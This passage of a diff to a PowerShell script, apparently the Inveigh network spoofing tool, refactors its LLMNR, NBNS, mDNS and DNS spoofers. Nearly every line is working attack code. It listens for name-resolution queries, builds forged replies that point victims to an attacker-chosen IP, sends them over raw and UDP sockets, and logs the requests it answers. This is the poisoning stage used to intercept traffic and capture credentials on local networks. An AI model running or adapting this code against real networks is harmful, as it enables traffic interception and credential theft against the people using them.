- if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
- {
- $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
- $NBNS_send_socket.SendBufferSize = 1024
- $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port)
- $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) > $null
- $NBNS_send_socket.Close()
- $NBNS_response_message = "[response sent]"
- }
- else
- {
- $NBNS_request_ignore = $true
- }
-
+ }
+
+ $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS" -Enabled $NBNS -NBNSType $NBNS_type
+ $NBNS_response_type = $NBNS_response_message[0]
+ $NBNS_response_message = $NBNS_response_message[1]
+
+ if($NBNS_response_message -eq '[response sent]')
+ {
+
+ if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
+ {
+ $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
+ $NBNS_send_socket.SendBufferSize = 1024
+ $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port)
+ $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) > $null
+ $NBNS_send_socket.Close()
}
else
{
-
- if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
- {
- $NBNS_request_ignore = $true
- }
-
- $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS"
- $NBNS_response_type = $NBNS_response_message[0]
- $NBNS_response_message = $NBNS_response_message[1]
+ $NBNS_request_ignore = $true
}
-
+
+ }
+ else
+ {
+
+ if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
+ {
+ $NBNS_request_ignore = $true
+ }
+
}
if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00')
@@ -4702,27 +4755,18 @@ $sniffer_scriptblock =
0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 +
$mDNS_response_data
- if($mDNS -eq 'Y')
- {
- if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (
- !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
- $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QU'))
- {
- $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp )
- $send_socket.SendBufferSize = 1024
- $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port)
- $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null
- $send_socket.Close()
- $mDNS_response_message = "[response sent]"
- }
- else
- {
- $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU"
- $mDNS_response_type = $mDNS_response_message[0]
- $mDNS_response_message = $mDNS_response_message[1]
- }
+ $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU" -Enabled $mDNS
+ $mDNS_response_type = $mDNS_response_message[0]
+ $mDNS_response_message = $mDNS_response_message[1]
+ if($mDNS_response_message -eq '[response sent]')
+ {
+ $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp )
+ $send_socket.SendBufferSize = 1024
+ $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port)
+ $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null
+ $send_socket.Close()
}
$inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QU) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null
@@ -4751,27 +4795,17 @@ $sniffer_scriptblock =
0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 +
$mDNS_response_data
- if($mDNS -eq 'Y')
- {
-
- if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (
- !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
- $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QM'))
- {
- $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
- $send_socket.SendBufferSize = 1024
- $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353)
- $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null
- $send_socket.Close()
- $mDNS_response_message = "[response sent]"
- }
- else
- {
- $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM"
- $mDNS_response_type = $mDNS_response_message[0]
- $mDNS_response_message = $mDNS_response_message[1]
- }
+ $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM" -Enabled $mDNS
+ $mDNS_response_type = $mDNS_response_message[0]
+ $mDNS_response_message = $mDNS_response_message[1]
+ if($mDNS_response_message -eq '[response sent]')
+ {
+ $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
+ $send_socket.SendBufferSize = 1024
+ $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353)
+ $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null
+ $send_socket.Close()
}
$inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null
@@ -4816,86 +4850,73 @@ $sniffer_scriptblock =
$LLMNR_request_ignore = $false
- if($LLMNR -eq 'Y')
+ if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $LLMNR_query_string -and $source_IP -ne $IP)
{
- if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $LLMNR_query_string -and $source_IP -ne $IP)
+ if(($LLMNR_learning_log.Exists({param($s) $s -like "20* $LLMNR_query_string"})))
{
+ $LLMNR_learning_queue_time = [DateTime]$LLMNR_learning_log.Find({param($s) $s -like "20* $LLMNR_query_string"}).SubString(0,19)
- if(($LLMNR_learning_log.Exists({param($s) $s -like "20* $LLMNR_query_string"})))
+ if((Get-Date) -ge $LLMNR_learning_queue_time.AddMinutes($SpooferLearningInterval))
{
- $LLMNR_learning_queue_time = [DateTime]$LLMNR_learning_log.Find({param($s) $s -like "20* $LLMNR_query_string"}).SubString(0,19)
-
- if((Get-Date) -ge $LLMNR_learning_queue_time.AddMinutes($SpooferLearningInterval))
- {
- $LLMNR_learning_log.RemoveAt($LLMNR_learning_log.FindIndex({param($s) $s -like "20* $LLMNR_query_string"}))
- $LLMNR_learning_send = $true
- }
- else
- {
- $LLMNR_learning_send = $false
- }
-
- }
- else
- {
+ $LLMNR_learning_log.RemoveAt($LLMNR_learning_log.FindIndex({param($s) $s -like "20* $LLMNR_query_string"}))
$LLMNR_learning_send = $true
}
-
- if($LLMNR_learning_send)
+ else
{
- $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
- $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
- $LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " ","-"
- $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient
- $LLMNR_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)]
-
- $LLMNR_request_packet = $LLMNR_transaction_ID_bytes +
- 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00 +
- ($LLMNR_hostname_bytes.Length - 1) +
- $LLMNR_hostname_bytes +
- 0x00,0x01,0x00,0x01
-
- $LLMNR_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.252",5355)
- $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint)
- $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length)
- $LLMNR_UDP_client.Close()
- $LLMNR_learning_log.Add("$(Get-Date -format s) $LLMNR_transaction_ID $LLMNR_query_string") > $null
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] LLMNR request $LLMNR_query_string sent to 224.0.0.252") > $null
+ $LLMNR_learning_send = $false
}
}
-
- if(($inveigh.valid_host_list -notcontains $LLMNR_query_string -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (
- !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (
- !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and (
- $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and (
- $EvadeRG -eq 'Y' -and $destination_IP.IPAddressToString -ne $IP) -and @($inveigh.request_table.$LLMNR_query_string | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -gt $SpooferThresholdHost -and @(
- $inveigh.request_table.$LLMNR_query_string | Sort-Object | Get-Unique).Count -gt $SpooferThresholdNetwork -and ($SpooferNonprintable -eq 'Y' -or ($SpooferNonprintable -eq 'N' -and $LLMNR_query_string -notmatch '[^\x00-\x7F]+')))
+ else
+ {
+ $LLMNR_learning_send = $true
+ }
+
+ if($LLMNR_learning_send)
{
+ $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
+ $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+ $LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " ","-"
+ $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient
+ $LLMNR_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)]
+
+ $LLMNR_request_packet = $LLMNR_transaction_ID_bytes +
+ 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00 +
+ ($LLMNR_hostname_bytes.Length - 1) +
+ $LLMNR_hostname_bytes +
+ 0x00,0x01,0x00,0x01
+
+ $LLMNR_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.252",5355)
+ $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint)
+ $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length)
+ $LLMNR_UDP_client.Close()
+ $LLMNR_learning_log.Add("$(Get-Date -format s) $LLMNR_transaction_ID $LLMNR_query_string") > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] LLMNR request $LLMNR_query_string sent to 224.0.0.252") > $null
+ }
- if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
- {
- $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
- $LLMNR_send_socket.SendBufferSize = 1024
- $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port)
- $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) > $null
- $LLMNR_send_socket.Close()
- $LLMNR_response_message = "[response sent]"
- }
- else
- {
- $LLMNR_request_ignore = $true
- }
+ }
+
+ $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR" -Enabled $LLMNR
+ $LLMNR_response_type = $LLMNR_response_message[0]
+ $LLMNR_response_message = $LLMNR_response_message[1]
+
+ if($LLMNR_response_message -eq '[response sent]')
+ {
+ if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
+ {
+ $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
+ $LLMNR_send_socket.SendBufferSize = 1024
+ $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port)
+ $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) > $null
+ $LLMNR_send_socket.Close()
}
else
{
- $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR"
- $LLMNR_response_type = $LLMNR_response_message[0]
- $LLMNR_response_message = $LLMNR_response_message[1]
+ $LLMNR_request_ignore = $true
}
-
+
}
if(!$LLMNR_request_ignore)
@@ -4934,13 +4955,13 @@ $sniffer_scriptblock =
}
- if($Pcap -and ($PcapPortUDP -contains $endpoint_source_port -or $PcapPortUDP -contains $destination_port -or $PcapPortUDP -contains 'All'))
+ if($Pcap -and ($PcapUDP -contains $endpoint_source_port -or $PcapUDP -contains $destination_port -or $PcapUDP -contains 'All'))
{
if($payload_bytes)
{
$pcap_epoch_time = ([datetime]::UtcNow)-(Get-Date "1/1/1970")
- $pcap_length = [System.BitConverter]::GetBytes($total_length + 14)
+ $pcap_length = [System.BitConverter]::GetBytes($packet_length + 14)
$pcap_packet = [System.BitConverter]::GetBytes([Int][Math]::Truncate($pcap_epoch_time.TotalSeconds)) +
[System.BitConverter]::GetBytes($pcap_epoch_time.Milliseconds) + # should be microseconds but probably doesn't matter
@@ -4948,7 +4969,7 @@ $sniffer_scriptblock =
$pcap_length +
(,0x00 * 12) +
0x08,0x00 +
- $byte_data[0..($total_length - 1)]
+ $byte_data[0..($packet_length - 1)]
switch ($Pcap)
{
@@ -4995,7 +5016,7 @@ $sniffer_scriptblock =
# Unprivileged DNS Spoofer ScriptBlock
$DNS_spoofer_scriptblock =
{
- param ($Inspect,$DNSTTL,$DNS_response_message,$SpooferIP)
+ param ($Inspect,$DNSTTL,$SpooferIP)
$DNS_running = $true
$DNS_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,53)
@@ -5048,9 +5069,11 @@ $DNS_spoofer_scriptblock =
([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes()
$source_IP = $DNS_listener_endpoint.Address
- $DNS_response_type = "[+]"
+ $DNS_response_message = Get-SpooferResponseMessage -QueryString $DNS_query_string -Type "DNS" -Enabled $DNS
+ $DNS_response_type = $DNS_response_message[0]
+ $DNS_response_message = $DNS_response_message[1]
- if(!$Inspect)
+ if($DNS_response_message -eq '[response sent]')
{
$DNS_destination_endpoint = New-Object System.Net.IPEndpoint($DNS_listener_endpoint.Address,$DNS_listener_endpoint.Port)
$DNS_UDP_client.Connect($DNS_destination_endpoint)
@@ -5058,11 +5081,6 @@ $DNS_spoofer_scriptblock =
$DNS_UDP_client.Close()
$DNS_UDP_client = New-Object System.Net.Sockets.UdpClient 53
$DNS_UDP_client.Client.ReceiveTimeout = 5000
- $DNS_response_message = "[response sent]"
- }
- else
- {
- $DNS_response_message = "[something went wrong]"
}
$inveigh.output_queue.Add("$DNS_response_type [$(Get-Date -format s)] DNS request for $DNS_query_string received from $source_IP $DNS_response_message") > $null
@@ -5077,14 +5095,17 @@ $DNS_spoofer_scriptblock =
# Unprivileged LLMNR Spoofer ScriptBlock
$LLMNR_spoofer_scriptblock =
{
- param ($Inspect,$LLMNR_response_message,$LLMNRTTL,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$SpooferNonprintable)
+ param ($Inspect,$LLMNRTTL,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$SpooferNonprintable)
$LLMNR_running = $true
$LLMNR_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Any,5355)
try
{
- $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355
+ $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient
+ $LLMNR_UDP_client.ExclusiveAddressUse = $false
+ $LLMNR_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true)
+ $LLMNR_UDP_client.Client.Bind($LLMNR_listener_endpoint)
}
catch
{
@@ -5109,9 +5130,13 @@ $LLMNR_spoofer_scriptblock =
$LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint)
}
catch
- {
+ {
$LLMNR_UDP_client.Close()
- $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355
+ $LLMNR_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Any,5355)
+ $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient
+ $LLMNR_UDP_client.ExclusiveAddressUse = $false
+ $LLMNR_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true)
+ $LLMNR_UDP_client.Client.Bind($LLMNR_listener_endpoint)
$LLMNR_multicast_group = [IPAddress]"224.0.0.252"
$LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group)
$LLMNR_UDP_client.Client.ReceiveTimeout = 5000
@@ -5143,23 +5168,23 @@ $LLMNR_spoofer_scriptblock =
$inveigh.request_table_updated = $true
}
- if(!$Inspect -and ($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (
- !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
- $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($SpooferNonprintable -eq 'Y' -or ($SpooferNonprintable -eq 'N' -and $LLMNR_query_string -notmatch '[^\x00-\x7F]+')))
+ $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR" -Enabled $LLMNR
+ $LLMNR_response_type = $LLMNR_response_message[0]
+ $LLMNR_response_message = $LLMNR_response_message[1]
+
+ if($LLMNR_response_message -eq '[response sent]')
{
$LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port)
$LLMNR_UDP_client.Connect($LLMNR_destination_endpoint)
$LLMNR_UDP_client.Send($LLMNR_response_packet,$LLMNR_response_packet.Length)
$LLMNR_UDP_client.Close()
- $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355
+ $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient
+ $LLMNR_UDP_client.ExclusiveAddressUse = $false
+ $LLMNR_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true)
+ $LLMNR_UDP_client.Client.Bind($LLMNR_listener_endpoint)
$LLMNR_multicast_group = [IPAddress]"224.0.0.252"
$LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group)
$LLMNR_UDP_client.Client.ReceiveTimeout = 5000
- $LLMNR_response_message = "[response sent]"
- }
- else
- {
- $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR"
}
if($LLMNR_request_data)
@@ -5172,20 +5197,25 @@ $LLMNR_spoofer_scriptblock =
}
+ $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] leaving") > $null
$LLMNR_UDP_client.Close()
}
# Unprivileged mDNS Spoofer ScriptBlock
$mDNS_spoofer_scriptblock =
{
- param ($Inspect,$mDNS_response_message,$mDNSTTL,$mDNSTypes,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore)
+ param ($Inspect,$mDNSTTL,$mDNSTypes,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore)
$mDNS_running = $true
$mDNS_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5353)
try
{
- $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient 5353
+ $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient
+ $mDNS_UDP_client.ExclusiveAddressUse = $false
+ $mDNS_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true)
+ $mDNS_UDP_client.Client.Bind($mDNS_listener_endpoint)
+
}
catch
{
@@ -5212,7 +5242,10 @@ $mDNS_spoofer_scriptblock =
catch
{
$mDNS_UDP_client.Close()
- $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353
+ $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient
+ $mDNS_UDP_client.ExclusiveAddressUse = $false
+ $mDNS_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true)
+ $mDNS_UDP_client.Client.Bind($mDNS_listener_endpoint)
$mDNS_multicast_group = [IPAddress]"224.0.0.251"
$mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group)
$mDNS_UDP_client.Client.ReceiveTimeout = 5000
@@ -5232,26 +5265,24 @@ $mDNS_spoofer_scriptblock =
$mDNS_TTL_bytes +
0x00,0x04 +
([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes()
+
+ $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU" -Enabled $mDNS
+ $mDNS_response_type = $mDNS_response_message[0]
+ $mDNS_response_message = $mDNS_response_message[1]
- if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (
- !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
- $mDNSTypes -contains 'QU') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP))
+ if($mDNS_response_message -eq '[response sent]')
{
$mDNS_destination_endpoint = New-Object Net.IPEndpoint($mDNS_listener_endpoint.Address,$mDNS_listener_endpoint.Port)
$mDNS_UDP_client.Connect($mDNS_destination_endpoint)
$mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length)
$mDNS_UDP_client.Close()
- $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353
+ $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient
+ $mDNS_UDP_client.ExclusiveAddressUse = $false
+ $mDNS_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true)
+ $mDNS_UDP_client.Client.Bind($mDNS_listener_endpoint)
$mDNS_multicast_group = [IPAddress]"224.0.0.251"
$mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group)
$mDNS_UDP_client.Client.ReceiveTimeout = 5000
- $mDNS_response_message = "[response sent]"
- }
- else
- {
- $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU"
- $mDNS_response_type = $mDNS_response_message[0]
- $mDNS_response_message = $mDNS_response_message[1]
}
if($mDNS_request_data)
@@ -5277,9 +5308,11 @@ $mDNS_spoofer_scriptblock =
0x00,0x04 +
([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes()
- if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (
- !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
- $mDNSTypes -contains 'QM') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP))
+ $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM" -Enabled $mDNS
+ $mDNS_response_type = $mDNS_response_message[0]
+ $mDNS_response_message = $mDNS_response_message[1]
+
+ if($mDNS_response_message -eq '[response sent]')
{
$mDNS_destination_endpoint = New-Object Net.IPEndpoint([IPAddress]"224.0.0.251",5353)
$mDNS_UDP_client.Connect($mDNS_destination_endpoint)
@@ -5289,13 +5322,6 @@ $mDNS_spoofer_scriptblock =
$mDNS_multicast_group = [IPAddress]"224.0.0.251"
$mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group)
$mDNS_UDP_client.Client.ReceiveTimeout = 5000
- $mDNS_response_message = "[response sent]"
- }
- else
- {
- $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM"
- $mDNS_response_type = $mDNS_response_message[0]
- $mDNS_response_message = $mDNS_response_message[1]
}
if($mDNS_request_data)
@@ -5314,7 +5340,7 @@ $mDNS_spoofer_scriptblock =
# Unprivileged NBNS Spoofer ScriptBlock
$NBNS_spoofer_scriptblock =
{
- param ($Inspect,$IP,$NBNS_response_message,$NBNSTTL,$NBNSTypes,$SpooferIP,$SpooferHostsIgnore,$SpooferHostsReply,
+ param ($Inspect,$IP,$NBNSTTL,$NBNSTypes,$SpooferIP,$SpooferHostsIgnore,$SpooferHostsReply,
$SpooferIPsIgnore,$SpooferIPsReply,$SpooferNonprintable)
$NBNS_running = $true
@@ -5367,11 +5393,13 @@ $NBNS_spoofer_scriptblock =
$source_IP = $NBNS_listener_endpoint.Address
$NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44])
$NBNS_query_type = Get-NBNSQueryType $NBNS_query_type
+ $NBNS_type = $NBNS_request_data[47]
$NBNS_response_type = "[+]"
$NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)])
$NBNS_query = $NBNS_query -replace "-00",""
$NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
$NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length)
+ $NBNS_query_string_encoded_check = $NBNS_query_string_encoded
$NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
$NBNS_query_string_subtracted = $null
$NBNS_query_string = $null
@@ -5394,6 +5422,13 @@ $NBNS_spoofer_scriptblock =
}
until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15)
+ if($NBNS_query_string_encoded_check.StartsWith("ABAC") -and $NBNS_query_string_encoded_check.EndsWith("ACAB"))
+ {
+ $NBNS_query_string = $NBNS_query_string.Substring(2)
+ $NBNS_query_string = $NBNS_query_string.Substring(0, $NBNS_query_string.Length - 1)
+ $NBNS_query_string = "<01><02>" + $NBNS_query_string + "<02>"
+ }
+
if($NBNS_query_string -notmatch '[^\x00-\x7F]+')
{
@@ -5410,29 +5445,23 @@ $NBNS_spoofer_scriptblock =
}
- if(!$Inspect -and ($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (
- !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
- $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP) -and ($SpooferNonprintable -eq 'Y' -or (
- $SpooferNonprintable -eq 'N' -and $NBNS_query_string -notmatch '[^\x00-\x7F]+')))
+ $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS" -Enabled $NBNS -NBNSType $NBNS_type
+ $NBNS_response_type = $NBNS_response_message[0]
+ $NBNS_response_message = $NBNS_response_message[1]
+
+ if($NBNS_response_message -eq '[response sent]')
{
